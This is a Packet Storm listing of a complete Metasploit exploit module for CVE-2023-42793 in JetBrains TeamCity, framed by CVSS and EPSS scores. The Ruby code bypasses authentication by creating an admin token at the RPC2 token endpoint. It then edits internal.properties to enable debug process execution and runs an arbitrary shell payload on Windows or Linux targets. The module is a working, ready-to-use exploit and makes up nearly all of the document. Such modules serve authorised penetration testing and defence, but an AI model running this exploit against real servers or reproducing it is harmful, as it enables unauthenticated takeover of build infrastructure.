Lucene search

K
packetstormSfewer-r7, metasploit.comPACKETSTORM:174860
HistorySep 29, 2023 - 12:00 a.m.

JetBrains TeamCity Unauthenticated Remote Code Execution

2023-09-2900:00:00
sfewer-r7, metasploit.com
packetstormsecurity.com
212
jetbrains
teamcity
remote code execution
authentication bypass
vulnerability
sonarsource
cve-2023-42793
http
metasploit
rapid7
win
linux
token
rpc2

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.801 High

EPSS

Percentile

97.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution  
against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are  
vulnerable to this issue. The vulnerability was originally discovered by SonarSource.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2023-42793'],  
['URL', 'https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis'],  
['URL', 'https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/']  
],  
'DisclosureDate' => '2023-09-19',  
'Platform' => %w[win linux],  
'Arch' => [ARCH_CMD],  
'Payload' => { 'Space' => 1024 },  
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.  
'Targets' => [  
[  
'Windows',  
{  
'Platform' => 'win'  
}  
],  
[  
'Linux',  
{  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# By default TeamCity listens for HTTP requests on TCP port 8111.  
Opt::RPORT(8111),  
# The first user created during installation is an administrator account, so the ID will be 1.  
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]),  
# We modify a configuration file, we need to wait for the changes to be picked up. These options govern how we wait.  
OptInt.new('TEAMCITY_CHANGE_TIMEOUT', [true, 'The timeout to wait for the changes to be applied', 30])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/login.html'  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# We expect a TeamCity server to respond with either a "TeamCity-Node-Id" header value or a cookie named "TCSESSIONID".  
# In the responses HTML body will be a string containing the release name and build version.  
if (res.headers.key?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')) && (res.body =~ /(\d+\.\d+\.\d+) \(build (\d+)\)/)  
detected = "JetBrains TeamCity #{::Regexp.last_match(1)} (build #{::Regexp.last_match(2)}) detected."  
  
# The vulnerability was patched in release 2023.05.4 (build 129421) so anything before this build is vulnerable.  
if ::Regexp.last_match(2).to_i < 129421  
return CheckCode::Vulnerable(detected)  
end  
  
return CheckCode::Safe(detected)  
end  
  
CheckCode::Unknown  
end  
  
def exploit  
token_uri = "/app/rest/users/id:#{datastore['TEAMCITY_ADMIN_ID']}/tokens/RPC2"  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(token_uri)  
)  
  
# A token named 'RPC2' may already exist if this system has been exploited before and previous exploitation  
# did not delete teh token after use. We detect that here, delete the token (as we dont know its value) if required  
# and then proceed to create a new token for our use.  
if res && (res.code == 400) && res.body.include?('Token already exists')  
  
print_status('Token already exists, deleting and generating a new one.')  
  
unless delete_token(token_uri)  
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(token_uri)  
)  
end  
  
unless res&.code == 200  
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here  
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.  
if res && (res.code == 404) && res.body.include?('User not found')  
print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')  
end  
  
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')  
end  
  
begin  
token = Nokogiri::XML(res.body).xpath('/token')&.attr('value').to_s  
  
print_status("Created authentication token: #{token}")  
  
print_status('Modifying internal.properties to allow process creation...')  
  
unless modify_internal_properties(token, 'rest.debug.processes.enable', 'true')  
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')  
end  
  
begin  
print_status('Executing payload...')  
  
vars_get = {}  
  
# We need to supply multiple params with the same name, so the TeamCity server (A Java Spring framework) can  
# construct a List<String> sequence for multiple parameters. We can do this be enabling `compare_by_identity`  
# in the Ruby Hash.  
vars_get.compare_by_identity  
  
case target['Platform']  
when 'win'  
vars_get['exePath'] = 'cmd.exe'  
vars_get['params'] = '/c'  
vars_get['params'] = payload.encoded  
when 'linux'  
vars_get['exePath'] = '/bin/sh'  
vars_get['params'] = '-c'  
vars_get['params'] = payload.encoded  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri('/app/rest/debug/processes'),  
'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.  
'headers' => {  
'Authorization' => "Bearer #{token}",  
'Content-Type' => 'text/plain'  
},  
'vars_get' => vars_get  
)  
  
unless res&.code == 200  
fail_with(Failure::UnexpectedReply, 'Failed to execute arbitrary process.')  
end  
ensure  
print_status('Resetting the internal.properties settings...')  
  
unless modify_internal_properties(token, 'rest.debug.processes.enable', nil)  
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')  
end  
end  
ensure  
print_status('Deleting the authentication token.')  
  
unless delete_token(token_uri)  
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')  
end  
end  
end  
  
def delete_token(token_uri)  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => normalize_uri(token_uri),  
'headers' => {  
'Connection' => 'close'  
}  
)  
  
res&.code == 204  
end  
  
def modify_internal_properties(token, key, value)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri('/admin/dataDir.html'),  
'headers' => {  
'Authorization' => "Bearer #{token}"  
},  
'vars_get' => {  
'action' => 'edit',  
'fileName' => 'config/internal.properties',  
'content' => value ? "#{key}=#{value}" : ''  
}  
)  
  
unless res&.code == 200  
# If we are using an authentication for a non admin user, we cannot modify the internal.properties file. The  
# server will return a 302 redirect if this is the case. Choose a different TEAMCITY_ADMIN_ID and try again.  
if res&.code == 302  
print_warning('This user is not an administrator, try setting the TEAMCITY_ADMIN_ID option to a different ID.')  
end  
  
return false  
end  
  
print_status('Waiting for configuration change to be applied...')  
retry_until_truthy(timeout: datastore['TEAMCITY_CHANGE_TIMEOUT']) do  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri('/admin/admin.html'),  
'headers' => {  
'Authorization' => "Bearer #{token}",  
'Accept' => '*/*'  
},  
'vars_get' => {  
'item' => 'diagnostics',  
'tab' => 'properties'  
}  
)  
  
res&.code == 200 && res.body.include?(key)  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.801 High

EPSS

Percentile

97.9%